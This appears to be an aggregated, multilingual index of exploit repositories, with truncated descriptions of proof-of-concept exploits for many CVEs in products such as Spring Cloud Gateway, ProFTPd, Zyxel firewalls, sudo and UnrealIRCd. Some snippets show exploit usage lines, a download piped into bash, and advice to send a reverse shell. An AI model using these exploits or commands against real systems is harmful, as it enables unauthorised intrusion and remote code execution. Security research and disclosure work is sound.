CVE-2018-2893

CVE-2018-2893 1단계 java -jar ysoserial-cve-2018-2893.jar WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pynerd JRMPClient4 @pynerd...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL 표현식 주입 명령 실행 Exp 사용：python3 CVE-2022-22947.py -u "http://127.0.0.1:8080" -c "whoami" 결과： 악성 SpEL 표현식 라우트 추가 성공! 라우트 새로고침 성공! 공격 결과 획득 성공: ================================================ root ================================================ 악성 라우트 삭제 완료! 라우트...

CVE-2022-31814

CVE-2022-31814 Обновлённый эксплойт - pfBlockerNG = 2.1.426 Неавторизованный RCE CVE-2022-31814 Описание Этот скрипт является эксплойтом, подтверждающим концепцию, для pfBlockerNG = 2.1.426, который позволяет удалённо выполнять код. Он принимает один целевой URL или список URL, пытается загрузить...

cve-2025-24514

🔥 PoC удаленной проверки уязвимости CVE-2025-24514 Этот скрипт представляет собой PoC на Python для удаленной проверки уязвимости CVE-2025-24514 манипуляция конфигурацией NGINX через инъекцию auth-url в ingress-nginx и потенциальное RCE. 🧠 Обзор уязвимости CVE-2025-24514 — это уязвимость в...

ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution CVE-2015-3306 취약점을 이용하여 ProFTP 1.3.5 서비스의 취약점을 익스플로잇하는 스크립트입니다. 사용법 .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

CVE-2022-25765-exploit

CVE-2022-25765 — Command Injection в pdfkit Описание CVE-2022-25765 — это уязвимость внедрения команд Command Injection, затрагивающая pdfkit Ruby gem в версиях 0.8.7.2. Уязвимость имеет КРИТИЧЕСКУЮ степень опасности с CVSS 9.8, так как позволяет удаленное выполнение команд без аутентификации...

Tenda-Router-VR-and-Exploit

Tenda-Router-VR-and-Exploit В этом материале я показываю, как именно я эмулировал веб-сервер прошивки AC15 V15.03.05.19 с помощью QEMU, сделал его доступным из браузера хоста и использовал уязвимый обработчик /goform/setUsbUnload CVE-2020-10987 для выполнения команд внутри эмулируемой корневой ФС...

CVE-2021-22210

0x01 Предисловие Заявление: Данный проект предназначен только для обучения и обмена, не используйте для нелегального неавторизованного тестирования! История обновлений 10.30 Добавлен пул прокси burp Переписаны аргументы командной строки Добавлена функция неавторизованного массового и одиночного...

389-ds-base: 389-ds-base: Command injection via unescaped LDAP DN in Cockpit 389 Console LDAP editor

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

Critical: Red Hat Security Advisory: redhat-ds:11 security, bug fix, and enhancement update

An update for the redhat-ds:11 module is now available for Red Hat Directory Server 11.5 E4S for RHEL 8. Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

CVE-2024-53376

CVE-2024-53376 CyberPanel 인증된 OS 명령 주입 영향을 받는 장치 CyberPanel 2.3.8 미만 버전은 OS 명령 주입에 취약합니다. 이 취약점을 악용하려면 공격자가 먼저 웹패널에 로그인해야 합니다. 테스트 환경 CyberPanel 2.3.7 기술적 세부 사항 공격자는 HTTP OPTIONS 요청을 사용하여 CyberPanel 애플리케이션을 실행 중인 웹서버에 임의 명령을 실행하도록 지시할 수 있습니다. 이 취약점은 /websites/submitWebsiteCreation 엔드포인트에 있습니다. 이...

CVE-2023-51467

CVE-2023-51467 exp.py изменен для выполнения команд Post.txt Эксплуатация уязвимости сериализации bypassauth.txt Тест обхода аутентификации Причина уязвимости Из-за ошибочного использования null при проверке подлинности этот метод не сработал, что привело к обходу аутентификации. if username ==...

cve-2022-33891

CVE-2022-33891 Уязвимость внедрения команд в оболочку Apache Spark Python POC для эксплуатации уязвимости внедрения команд в оболочку Apache Spark. Я видел несколько других POC, но они выглядели крайне подозрительно. Этот — чистый и простой. Я не обнаруживал эту уязвимость/эксплойт. Я просто хоте...

CVE-2022-30525

CVE-2022-30525 Уязвимость удаленного внедрения команд в брандмауэрах Zyxel CVE-2022-30525 Необязательные аргументы: -h, --help показать это справочное сообщение и выйти -u url, --url url Целевой url, например: "http://127.0.0.1" -f file, --file file Цели в файле, например: "ip.txt" Использование...

Sudo-Vulnerability-Exploit-CVE-2019-14287

Sudo-Vulnerability-Exploit-CVE-2019-14287 Sudo оказался ненадёжным — одна из самых значимых, мощных и часто используемых утилит, установленных практически в любой операционной системе на базе Unix и Linux в качестве простой команды. Уязвимость обхода псевдополитики безопасности, позволяющая...

DSL-2750U-Full-chain

펌웨어 분석 1. DSL-2750U 버그 : tftp 서버의 잘못된 구성 CVE-2021-3707 명령어 인젝션 버그 CVE-2021-3708...

CVE-2023-6553

CVE-2023-6553 Разработка эксплойта для CVE-2023-6553 на плагин Backup в Wordpress Это критическое CVE с оценкой CVSS 9.8 Уязвимость позволяет злоумышленнику отправлять команды на сервер, работающий с уязвимой версией плагина Уязвимая версия Backup :9000/a.sh |bash';?" 3. Вы получите следующую...

CVE-2024-3912

Зачем? Публикую потому, что Mirai — это кучка раздражающих придурков, которые постоянно долбят мою honeypot этой штукой — вы не тот вредонос, который мне нужен. Отвалите, пожалуйста. Вот их раздражающий IP для распространения вредоноса и скрипт полезной нагрузки по умолчанию...

redis-cve-2025-62507

Exploit Scripts — CVE-2025-62507 Структура каталога scripts/ ├── exploitx86.py x86-64 ROP-эксплойт ├── exploitarm64.py ARM64 AArch64 ROP-эксплойт └── gdbwithsymbols.sh Вспомогательный скрипт для отладки GDB Сводка об уязвимости Пункт| Описание ---|--- CVE| CVE-2025-62507 Тип уязвимости|...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 Эксплойт для CVE:2010-2075. Этот эксплойт позволяет удалённо выполнять команды в UnrealIRCd 3.2.8.1. Требования optparse, signal Использование Вы можете отправить команду на выполнение, но иногда она не ответит; в таком случае просто отправьте reverse shell и ждите его подключения...